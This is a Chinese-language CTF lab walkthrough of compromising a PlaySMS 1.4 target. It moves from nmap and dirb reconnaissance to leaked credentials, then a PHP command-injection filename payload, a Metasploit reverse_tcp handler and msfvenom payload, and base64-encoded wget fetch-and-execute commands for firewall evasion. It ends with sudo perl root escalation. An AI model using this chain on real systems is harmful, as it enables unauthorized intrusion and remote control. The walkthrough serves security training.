CTF实验:web安全命令注入

信息探测

扫描主机服务信息以及服务版本

– nmap -sV 靶场IP地址
快速扫描主机全部信息

– nmap -T4 -A -v 靶场IP地址
探测目录信息

– nikto -host http://靶场IP地址:端口

– dirb http://靶场IP地址:端口
CTF实验:web安全命令注入

可利用信息

– robots.txt
– nothing
– secure
– backup.zip
对于每一个可以看到的信息 都要查看,比如某个文件、某个目录;
脑洞一定要大
CTF实验:web安全命令注入
找到一些敏感页面
CTF实验:web安全命令注入

CTF实验:web安全命令注入
404界面,有点不一样,看看源代码
CTF实验:web安全命令注入
是一些密码,可能后面会用到

CTF实验:web安全命令注入
又可下载的文件,下载下来
CTF实验:web安全命令注入
需要密码,那么试试之前的那些密码,成功解压
用file back-cred看看这是个什么文件,发现是text
CTF实验:web安全命令注入
查看它
CTF实验:web安全命令注入
知道了用户名touhid,并且发现了一个url,打开它
CTF实验:web安全命令注入
是个登陆页面,用之前的用户名和密码尝试登录
CTF实验:web安全命令注入
登陆成功
发现是playSMS

登录-利用exploit-db

利用挖掘到的用户名和密码登陆系统,然后对系统是否使用某种CMS、SMS等进行查看。
利用现成的EXP进行渗透。
渗透测试技巧
– searchsploit 对应的系统
– searchsploit PlaySMS 1.4
https://www.exploit-db.com/exploits/42003/,这个网站也能搜漏洞
CTF实验:web安全命令注入
查看可利用的漏洞
cat 路径
可以直接谷歌翻译看什么意思,大意就是可以上传任意文件没有限制,存在命令注入漏洞
CTF实验:web安全命令注入
还给出了相应的上传页面
CTF实验:web安全命令注入
打开它
CTF实验:web安全命令注入
发现可以上传csv文件
那就新建一个csv文件,touch 1.csv在桌面上

burpsuite

使用burpsuit截获数据包,发送到repeater对其进行修改

CTF实验:web安全命令注入
利用漏洞描述中给的提示,<?php system('');die(); ?>.php
CTF实验:web安全命令注入

CTF实验:web安全命令注入
send发送,看看回复
CTF实验:web安全命令注入
CTF实验:web安全命令注入
发现是linux系统
继续查看
CTF实验:web安全命令注入
id是www-date

准备shell

可以上传一个shell进行渗透

启用metasploit监听

msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.106
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
CTF实验:web安全命令注入
CTF实验:web安全命令注入
CTF实验:web安全命令注入

制作shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /var/www/html/s
CTF实验:web安全命令注入
然后开启apache2,service apache2 start/status
CTF实验:web安全命令注入

绕过防火墙 上传shell

因为要绕过防火墙,用base64加密
利用 base64绕过防火墙检测

– echo ‘wget http://攻击机IP地址/s -O /tmp/a’ | base64
– echo ‘chmod 777 /tmp/a’ | base64
– echo ‘/tmp/a’ | base64
CTF实验:web安全命令注入
再利用上传漏洞
因为用base64加密,所以要解密,

<?php system(base64_decode(‘’)); die();?>.php

CTF实验:web安全命令注入

CTF实验:web安全命令注入
成功

CTF实验:web安全命令注入
想办法提权

提升权限、获取Flag

登录服务器之后,反弹的shell的用户是www-data。并不具备root权限。
使用 sudo -l 查看www-data用户的sudo权限;

CTF实验:web安全命令注入

根据提示 执行以下命令(现实渗透中,肯定存在这样的问题。程序员为了方便,便设置了不需要密码就可以执行sudo的操作)
– sudo perl -e “exec ‘/bin/sh’”
– bash -i
CTF实验:web安全命令注入
查看flag
CTF实验:web安全命令注入

总结

信息收集一定要充分,根据题目提示来逐步进行渗透测试;
对于web系统,一定要注意利用现成的EXP。
路径里开头一定要加/ 复制命令时不要把空格也复制进去